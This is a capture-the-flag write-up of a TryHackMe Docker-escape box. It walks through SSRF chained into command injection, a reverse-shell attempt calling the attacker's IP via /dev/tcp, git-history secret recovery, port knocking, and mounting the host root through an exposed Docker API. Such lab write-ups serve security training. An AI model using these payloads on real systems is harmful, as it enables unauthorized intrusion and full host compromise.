This is the medium box on TryHackMe website. It requires the some knowledge about docker. Lets start

Enumeration

Port Scanning

Lets start some nmap

nmap -p- -v 10.10.176.168
...
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

It return to us 2 port is 80 and 22. We know that there is a webserver on port 80. Let’s start with the webserver

Webserver on port 80

alt text
At a first glance, we can see it has login function. I try to login with some default credential admin:admin, admin:password, … but it doesn’t work, so I think it is not the correct path to guess or brute force the password. I also try to sign up but it is not working now.

Directory brute forcing

Let brute force to find some juicy path.

gobuster dir -u http://escape.thm -w /usr/share/wordlists/dirb/common.txt -t 20
===============================================================
Error: the server returns a status code that matches the provided options for non existing urls. http://escape.thm/af7a2ad0-813c-4bf4-9b93-bfa63ebcda4c => 200 (Length: 3834). To continue please exclude the status code, the length or use the --wildcard switch

It look like we cannot use gobuster on this site. So we change to wfuzz

wfuzz --hl 9,7 -u http://escape.thm/FUZZ -w /usr/share/wordlists/dirb/common.txt -t 20

But it does not give us any information. So i guess there is some Rate limit mechanism on this site. So that we cannot brute forcing

Source code dumping

Now I try to look inside the source code of the page by using browser dev tool.

alt text

According to this we can see there are 5 source file. Sadly, after reading I found this line.

e('p', [
	this._v('If you can read this then I\'m sorry Mario, but the princess is in another castle')
])

It is very kind that the creator told us that this is the wrong path. But I don’t believe it so I continue reading. Finnaly, I found nohting useful here …

/robots.txt

Suddenly, I remember I am not checking the robots.txt file. It does give us a lot of usefull information here:

User-agent: *
Allow: /
Disallow: /api/
# Disallow: /exif-util
Disallow: /*.bak.txt$

We found that there is 3 more path here. Let’s go through it one by one.

/exif-util

alt text
This is a page where can upload image or put the url to the image and the server will run the exif on that image. Now there are 3 way I can think of to exploit this one:

  1. File upload to reverse shell
  2. SSRF
  3. OS command injection (cause it can be run some os command for processing the image)

I try the first way to upload some PHP code to make a reverse shell back to my machine but it only accept png so I think it is not the correct path. Now, SSRF seems to be a possible way to exploit. We will continue with this in the enumeration part.

/*.bak.txt

Usually, bak stands for backup. So I guess this is backup file but backup for what. It could be the backup for the source code of each page on the front end. So try to combine the name of each page with .bak.txt to found the backup for that page:

  1. login.bak.txt/ register.bak.txt
  2. index.bak.txt
  3. api.bak.txt
  4. exif-util.bak.txt

Luckily, we go the result form http://< ip >/exif-util.bak.txt

<template>
  <section>
    <div class="container">
      <h1 class="title">Exif Utils</h1>
      <section>
        <form @submit.prevent="submitUrl" name="submitUrl">
          <b-field grouped label="Enter a URL to an image">
            <b-input
              placeholder="http://..."
              expanded
              v-model="url"
            ></b-input>
            <b-button native-type="submit" type="is-dark">
              Submit
            </b-button>
          </b-field>
        </form>
      </section>
      <section v-if="hasResponse">
        <pre>
          
        </pre>
      </section>
    </div>
  </section>
</template>

<script>
export default {
  name: 'Exif Util',
  auth: false,
  data() {
    return {
      hasResponse: false,
      response: '',
      url: '',
    }
  },
  methods: {
    async submitUrl() {
      this.hasResponse = false
      console.log('Submitted URL')
      try {
        const response = await this.$axios.$get('http://api-dev-backup:8080/exif', {
          params: {
            url: this.url,
          },
        })
        this.hasResponse = true
        this.response = response
      } catch (err) {
        console.log(err)
        this.$buefy.notification.open({
          duration: 4000,
          message: 'Something bad happened, please verify that the URL is valid',
          type: 'is-danger',
          position: 'is-top',
          hasIcon: true,
        })
      }
    },
  },
}
</script>

Look up the script we know that we that it will make a request to a server http://api-dev-backup:8080/exif with our payload (which is the url for the image we put in the exif-util site). Let try to see what is on port 8080
alt text
Sadly, the only thing waiting for us is the error message. We can conclude that port 8080 can only be access by internal server (it can explain why the port 8080 does not appear in our nmap scan). So how to access this? It time for the SSRF.

Exploit

SSRF

I used Burp Suite to capture the request when we submit the url in /exif-util page and send it to Burp Suite Repeater for more convinient. Now let’s try to access the server on port 8080 with SSRF attack:
alt text
The reason we can access this is the request to this port come from the internal server (cause we ask the server to get the image on the path http://api-dev-backup:8080/, which also is http://localhost:8080/). You can see here is the API server.

SSRF to OS command Injection

I try to replica the reuqest to API server with the api we use to submit the URL
?url=http://api-dev-backup:8080/exif?url=http://10.10.44.7/

And it return our index page
alt text
I believe the server use some OS command to connect to our payload and then process the reponse. So I try the payload with syntax like ?url=payload;<command> to see can we run some command. I try with this payload ?url=http://api-dev-backup:8080/exif?url=a;id and we got this response:

An error occurred: File format could not be determined
                Retrieved Content
                ----------------------------------------
                An error occurred: File format could not be determined
               Retrieved Content
               ----------------------------------------
               uid=0(root) gid=0(root) groups=0(root)

Notice the last line, so our command id has run successfull.

Root flag

I try to spawn a reverse to my machine with payload ?url=http://api-dev-backup:8080/exif?url=a;bash -i >& /dev/tc<ip>/7777 0>&1 but we got this reponse:

An error occurred: HTTP Exception 400 Bad Request
                Response was:
                ---------------------------------------
                <-- 400 http://api-dev-backup:8080/exif?url=a;bash%20-i%20%3E&%20/dev/tcp/10.17.7.60/7777%200%3E&1
...

Sadly, our request is encoded and does not run successfull. I try serveral differently payload it does not success. The machine don’t have such tool like wget, python, … so we dont have a lot of option for spawn a reverse shell. I also try curl -F to upload my ssh key to .authorized_key on this server but it failed. So i started to enumerate the machine without spawn a shell.
Look what I found at the root folder:
alt text
There is 2 thing we want to look carefull here is the dev-note.txt and folder .git. Let’s see dev-note.txt first

Apparently leaving the flag and docker access on the server is a bad idea, or so the security guys tell me. I've deleted the stuff.
Anyways, the password is fluffybunnies123
Cheers,
Hydra

We got the credential is hyrda:fluffybunnies123. I try to ssh with that credential. However the machine block our SSH. So we move on with the .git folder. The way to enumerate information from git is see all of its all commit with command git log

               commit 5242825dfd6b96819f65d17a1c31a99fea4ffb6a
Author: Hydra <hydragyrum@example.com>
Date:   Thu Jan 7 16:48:58 2021 +0000

    fixed the dev note

commit 4530ff7f56b215fa9fe76c4d7cc1319960c4e539
Author: Hydra <hydragyrum@example.com>
Date:   Wed Jan 6 20:51:39 2021 +0000

    Removed the flag and original dev note b/c Security

commit a3d30a7d0510dc6565ff9316e3fb84434916dee8
Author: Hydra <hydragyrum@example.com>
Date:   Wed Jan 6 20:51:39 2021 +0000

    Added the flag and dev notes

Let see some old commit with command git show a3d30a7d0510dc6565ff9316e3fb84434916dee8

               commit a3d30a7d0510dc6565ff9316e3fb84434916dee8
Author: Hydra <hydragyrum@example.com>
Date:   Wed Jan 6 20:51:39 2021 +0000

    Added the flag and dev notes

diff --git a/dev-note.txt b/dev-note.txt
new file mode 100644
index 0000000..89dcd01
--- /dev/null
+++ b/dev-note.txt
@@ -0,0 +1,9 @@
+Hey guys,
+
+I got tired of losing the ssh key all the time so I setup a way to open up the docker for remote admin.
+
+Just knock on ports 42, 1337, 10420, 6969, and 63000 to open the docker tcp port.
+
+Cheers,
+
+Hydra
\ No newline at end of file
diff --git a/flag.txt b/flag.txt
new file mode 100644
index 0000000..aae8129
--- /dev/null
+++ b/flag.txt
@@ -0,0 +1,3 @@
+You found the root flag, or did you?
+
+THM{xxxxxxxxxxxxxxxxxxxxxxx}
\ No newline at end of file

And we got the root flag here. But is not a real one cause this server is running on the docker and all the thing we done for now is just inside a docker.

Real root flag

We can see on the commit is that if we knock ports 42, 1337, 10420, 6969, and 63000, it will open another port to access to docker. Let’s try to knock it

Port knocking

root@kali:~# knock -v 10.10.44.7 42 1337 10420 6969, 63000
hitting tcp 10.10.44.7:42
hitting tcp 10.10.44.7:1337
hitting tcp 10.10.44.7:10420
hitting tcp 10.10.44.7:6969
hitting tcp 10.10.44.7:63000

And lets start nmap again to see any port open now. Sadly, nothing new. Maybe I knock the wrong way so I try to knock again with netcat

nc escape.thm 42;
nc escape.thm 1337;
nc escape.thm 10420;
nc escape.thm 6969;
nc escape.thm 63000;

Let start scanning again

nmap -p- -v 10.10.176.168
...
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
2375/tcp open  docker

We found 1 more port for docker.

Exploit docker

Docker is a container which provide environment for many project. First we need to find out which image is running on the docker container (if you dont know docker try using flag --help for each command):

root@kali:~# docker -H 10.10.44.7 image ls
REPOSITORY                                    TAG       IMAGE ID       CREATED         SIZE
exif-api-dev                                  latest    4084cb55e1c7   6 months ago    214MB
exif-api                                      latest    923c5821b907   6 months ago    163MB
frontend                                      latest    577f9da1362e   6 months ago    138MB
endlessh                                      latest    7bde5182dc5e   6 months ago    5.67MB
nginx                                         latest    ae2feff98a0c   7 months ago    133MB
debian                                        10-slim   4a9cd57610d6   7 months ago    69.2MB
registry.access.redhat.com/ubi8/ubi-minimal   8.3       7331d26c1fdf   7 months ago    103MB
alpine                                        3.9       78a2ce922f86   15 months ago   5.55MB

After a while of searching, I found out that we can actually mounth 1 folder on the real machine to docker image using docker volume (link1, link2) like in the image below
alt text
We can use this command to mount:

docker -H tcp://<docker-ip>:2375 run -it --rm -v /root:/mnt/root alpine:3.9

Let break down it:

  • docker -H tcp://10.10.55.209:2375 run: to connect to container and run flag allow us to run docker command on that container
  • -it: tells docker that it should open an interactive container instance (mean allow us to interact with the container like a shell)
  • --rm: remove the mount on the image after exit
  • -v /:/mnt/root alpine:3.9: using docker volume with flag -v to bind mount the folder / on the real machine to folder /mnt/root on the image alpine with tag 3.9 (use can use other image like debian:10-slim too)

Using that command we can successfully mount to the image and spawn shell to controll the image. You can then access to /mnt/root in order to access to your mounth folder to find the flag on the real machine:

root@kali:~# docker -H tcp://10.10.44.7:2375 run -it --rm -v /:/mnt/root alpine:3.9
/ # whoami
root
/ # cd /mnt/root/
/mnt/root # ls
bin             initrd.img      media           run             tmp
boot            initrd.img.old  mnt             sbin            usr
dev             lib             opt             srv             var
etc             lib64           proc            swapfile        vmlinuz
home            lost+found      root            sys             vmlinuz.old
/mnt/root # cd root
/mnt/root/root # ls
flag.txt
/mnt/root/root # cat flag.txt 
Congrats, you found the real flag!

THM{xxxxxxxxxxxxxxxxxxxxxxxxxx}
/mnt/root/root # 

And now we successfully find the real flag

Simple webapp flag

I can’t found it on the webapp, so find it later after mount the folder to our image, we can free move around and find this flag . When you access to home folder you will see the folder for user hydra. Here you can find the way to the flag.

/mnt/root/home/hydra/docker-escape-compose/front/dist # ls -la
total 260
drwxrwxr-x    8 1000     1000          4096 Jan  7  2021 .
drwxrwxr-x    4 1000     1000          4096 Jan  6  2021 ..
-rw-rw-r--    1 1000     1000             0 Jan  6  2021 .nojekyll
drwxrwxr-x    2 1000     1000          4096 Jan  6  2021 .well-known
-rw-rw-r--    1 1000     1000          3834 Jan  6  2021 200.html
-rw-rw-r--    1 1000     1000           435 Jan  6  2021 README.md
drwxrwxr-x    4 1000     1000          4096 Jan  6  2021 _nuxt
drwxrwxr-x    2 1000     1000          4096 Jan  6  2021 admin
-rw-rw-r--    1 1000     1000          8139 Jan  6  2021 android-icon-144x144.png
-rw-rw-r--    1 1000     1000          9125 Jan  6  2021 android-icon-192x192.png
-rw-rw-r--    1 1000     1000          2329 Jan  6  2021 android-icon-36x36.png
-rw-rw-r--    1 1000     1000          2645 Jan  6  2021 android-icon-48x48.png
-rw-rw-r--    1 1000     1000          3753 Jan  6  2021 android-icon-72x72.png
-rw-rw-r--    1 1000     1000          5049 Jan  6  2021 android-icon-96x96.png
-rw-rw-r--    1 1000     1000          6042 Jan  6  2021 apple-icon-114x114.png
-rw-rw-r--    1 1000     1000          6483 Jan  6  2021 apple-icon-120x120.png
-rw-rw-r--    1 1000     1000          8139 Jan  6  2021 apple-icon-144x144.png
-rw-rw-r--    1 1000     1000          8790 Jan  6  2021 apple-icon-152x152.png
-rw-rw-r--    1 1000     1000         11228 Jan  6  2021 apple-icon-180x180.png
-rw-rw-r--    1 1000     1000          3070 Jan  6  2021 apple-icon-57x57.png
-rw-rw-r--    1 1000     1000          3127 Jan  6  2021 apple-icon-60x60.png
-rw-rw-r--    1 1000     1000          3753 Jan  6  2021 apple-icon-72x72.png
-rw-rw-r--    1 1000     1000          3980 Jan  6  2021 apple-icon-76x76.png
-rw-rw-r--    1 1000     1000          9699 Jan  6  2021 apple-icon-precomposed.png
-rw-rw-r--    1 1000     1000          9699 Jan  6  2021 apple-icon.png
-rw-rw-r--    1 1000     1000           281 Jan  6  2021 browserconfig.xml
drwxrwxr-x    2 1000     1000          4096 Jan  6  2021 courses
drwxrwxr-x    2 1000     1000          4096 Jan  6  2021 exif-util
-rw-rw-r--    1 1000     1000          1479 Jan  6  2021 exif-util.bak.txt
-rw-rw-r--    1 1000     1000          1383 Jan  6  2021 favicon-16x16.png
-rw-rw-r--    1 1000     1000          2159 Jan  6  2021 favicon-32x32.png
-rw-rw-r--    1 1000     1000          5049 Jan  6  2021 favicon-96x96.png
-rw-rw-r--    1 1000     1000          1150 Jan  6  2021 favicon.ico
-rw-rw-r--    1 1000     1000          3834 Jan  6  2021 index.html
drwxrwxr-x    2 1000     1000          4096 Jan  6  2021 login
-rw-rw-r--    1 1000     1000           720 Jan  6  2021 manifest.json
-rw-rw-r--    1 1000     1000          8139 Jan  6  2021 ms-icon-144x144.png
-rw-rw-r--    1 1000     1000          8659 Jan  6  2021 ms-icon-150x150.png
-rw-rw-r--    1 1000     1000         27427 Jan  6  2021 ms-icon-310x310.png
-rw-rw-r--    1 1000     1000          3756 Jan  6  2021 ms-icon-70x70.png
-rw-rw-r--    1 1000     1000            84 Jan  7  2021 robots.txt
/mnt/root/home/hydra/docker-escape-compose/front/dist # cd .well-known/
/mnt/root/home/hydra/docker-escape-compose/front/dist/.well-known # ls 
security.txt
/mnt/root/home/hydra/docker-escape-compose/front/dist/.well-known # cat security.txt 
Hey you found me!

The security.txt file is made to help security researchers and ethical hackers to contact the company about security issues.

See https://securitytxt.org/ for more information.

Ping /api/fl46 with a HEAD request for a nifty treat.

Let use Burp Suite to change to request type to HEAD and you will get the flag in the reponse.